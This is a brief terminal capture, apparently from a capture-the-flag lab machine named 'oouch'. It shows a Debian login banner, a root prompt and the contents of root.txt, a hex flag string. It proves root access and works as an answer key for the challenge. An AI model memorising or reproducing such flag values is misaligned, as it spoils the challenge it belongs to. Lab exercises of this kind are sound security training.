Linux oouch 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Feb 25 12:54:48 2020
root@oouch:~# cat root.txt
787fe550013fe09a0e0aac184db6ae8a
root@oouch:~#